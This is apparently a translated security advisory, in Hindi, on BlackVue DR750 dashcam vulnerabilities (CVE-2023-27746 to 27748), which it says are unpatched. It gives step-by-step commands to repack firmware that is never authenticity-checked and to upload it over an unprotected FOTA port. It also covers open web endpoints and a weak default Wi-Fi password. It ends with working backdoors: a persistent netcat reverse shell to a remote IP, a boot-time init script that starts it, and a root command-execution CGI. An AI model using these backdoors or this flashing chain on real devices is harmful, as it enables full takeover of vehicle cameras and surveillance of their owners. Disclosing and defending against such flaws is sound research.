
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
नीचे दी गई जानकारी केवल शैक्षिक उद्देश्यों के लिए है, इसे किसी ऐसे उपकरण पर आज़माएं नहीं जिसके आप मालिक नहीं हैं या जिसका उपयोग करने की अनुमति नहीं है।
लेखन के समय, लगभग 300 कमजोर BlackVue डिवाइस ऑनलाइन हैं, जिन्हें आसानी से खोजा और शोषित किया जा सकता है, और कोई आधिकारिक पैच जारी नहीं हुआ है।
BlackVue को इन कमजोरियों के बारे में 30-07-2022 को सूचित किया गया था, और उन्होंने जवाब दिया कि वे मुद्दों की जाँच करेंगे। हालांकि, हमारी जानकारी के अनुसार अब तक कुछ नहीं हुआ है।
फर्मवेयर के लिए कोई प्रामाणिकता जांच नहीं है, जो एक दुर्भावनापूर्ण हमलावर को कस्टम फर्मवेयर अपलोड करने की अनुमति देता है। इस कस्टम फर्मवेयर में बैकडोर या एक्सप्लॉइट शामिल हो सकते हैं।
पुनरुत्पादन के चरण:
.zip अनपैक करेंpatch_<dashcam_name>.bin अनपैक करेंtar.gz करेंpatch_<dashcam_name>.bin के लिए sue चेकसम की गणना करें (देखें sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
फिर बस फ़ोल्डर BlackVue को डैशकैम के SD कार्ड पर रखें, और यह इसे चलाना शुरू कर देगा।
FOTA (फर्मवेयर ओवर द एयर) के लिए फर्मवेयर बनाते समय, इसके बजाय System निर्देशिका का .tgz फ़ाइल बनाएं।
$ tar -C BlackVue/System -czvf fwupgrade.tgz
इस फ़ाइल का उपयोग बाद में FOTA का उपयोग करके कस्टम फर्मवेयर अपलोड करने और डैशकैम को पूरी तरह से समझौता करने के लिए किया जा सकता है।
यह ध्यान रखना महत्वपूर्ण है कि परीक्षण के दौरान, यह देखा गया कि BlackVue की वेबसाइट से आधिकारिक फर्मवेयर को डिवाइस पर वापस फ्लैश करने पर भी, रखे गए बैकडोर बने रहे।
BlackVue डैशकैम पोर्ट 9771/TCP पर सुनेंगे, जहाँ FOTA (फर्मवेयर ओवर द एयर) सेवा चल रही है। यह सेवा पिंग, रीस्टार्ट, डिवाइस का समय प्राप्त करना, फर्मवेयर अपग्रेड आदि की अनुमति देती है।
इस एंडपॉइंट की रक्षा करने वाला कुछ भी नहीं है और यह डैशकैम के समान LAN से जुड़े होने पर या इंटरनेट से एक्सेस किया जा सकता है यदि डैशकैम LTE से जुड़ा है, जो एक महत्वपूर्ण सुरक्षा जोखिम है। FOTA सेवा के साथ संवाद करने वाली एक पायथन स्क्रिप्ट यहाँ पाई जा सकती है।
पिछले अनुभाग के चरणों के आधार पर एक नया फर्मवेयर बनाएं, और इसे पायथन स्क्रिप्ट का उपयोग करके अपलोड करें।
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
इस उपयोगिता के काम करने की कोई गारंटी नहीं है, लेकिन यह पहले एक बार काम कर चुकी है।
डैशकैम किसी भी फ़ायरवॉल सक्षम के साथ नहीं आते हैं, जो कम समस्या है यदि डैशकैम केवल वाई-फाई के माध्यम से जुड़ा है। हालांकि, LTE संस्करण सीधे इंटरनेट से जुड़ा है, क्योंकि कुछ मोबाइल प्रदाताओं ने फ़ायरवॉल सेट नहीं किया है और अपने उपयोगकर्ताओं को NAT के पीछे नहीं रखते हैं। यह निकाले गए फर्मवेयर को देखकर सत्यापित किया जा सकता है।
कम से कम LTE वाले BlackVue डैशकैम को LTE पक्ष पर कनेक्शन को ब्लॉक करना चाहिए।
डैशकैम का डिफ़ॉल्ट वाई-फाई पासवर्ड केवल छोटे अक्षरों वाले अल्फ़ान्यूमेरिक वर्ण हैं, जिनकी लंबाई 8 है। डैशकैम से हैंडशेक को इंटरसेप्ट करना और पासवर्ड की गणना करने के लिए Aircrack-ng के टूल का उपयोग करना संभव है (यदि उपयोगकर्ता ने इसे नहीं बदला है)। यह किराए के हार्डवेयर (~40 EUR) का उपयोग करके लगभग ~4 दिनों में किया जा सकता है।
डिफ़ॉल्ट रूप से वेबसर्वर बिना प्रमाणीकरण के एक्सेस किया जा सकता है और विभिन्न एंडपॉइंट को उजागर करता है।
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
ये एंडपॉइंट निम्नलिखित की अनुमति देते हैं:
डैशकैम जिस नेटवर्क से जुड़ेगा उसका वाई-फाई SSID और पासवर्ड डैशकैम में SD-कार्ड पर संग्रहीत किया जाता है। यह डेटा एन्क्रिप्टेड है, लेकिन कुंजी ऐप को रिवर्स इंजीनियरिंग करके आसानी से प्रकट हो जाती है। जैसा कि wifi-decrypt.py द्वारा प्रदर्शित किया गया है।
यह भी ध्यान देने योग्य है कि जब वाई-फाई नेटवर्क बदलते हैं जिससे डैशकैम को जुड़ना चाहिए, ये मान BlackVue के सर्वरों को भेजे जाते हैं, जो उन्हें तब तक संग्रहीत रखेंगे जब तक वे डैशकैम को जानकारी नहीं भेज सकते। डैशकैम उपलब्ध होने पर यह डेटा हटा दिया जाता है या नहीं, यह अज्ञात है।
ये सभी सरल RCE में संयोजित किए जा सकते हैं, विशेष रूप से LTE डैशकैम के साथ।
बैकडोर के कुछ उदाहरण, जिन्हें कस्टम फर्मवेयर में शामिल किया जा सकता है।
निम्नलिखित बैकडोर, एक रिमोट मशीन से कनेक्ट होगा और रूट के रूप में पूर्ण शेल एक्सेस देगा।
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
निम्नलिखित init.d स्क्रिप्ट हर बूट पर बैकडोर शुरू करेगी, और दिए गए IP/पोर्ट से कनेक्ट होगी।
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiनिम्नलिखित बैकडोर कमांड निष्पादित करने की अनुमति देगा (रूट के रूप में), जब वेबसर्वर पर एक पेलोड भेजा जाता है।
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING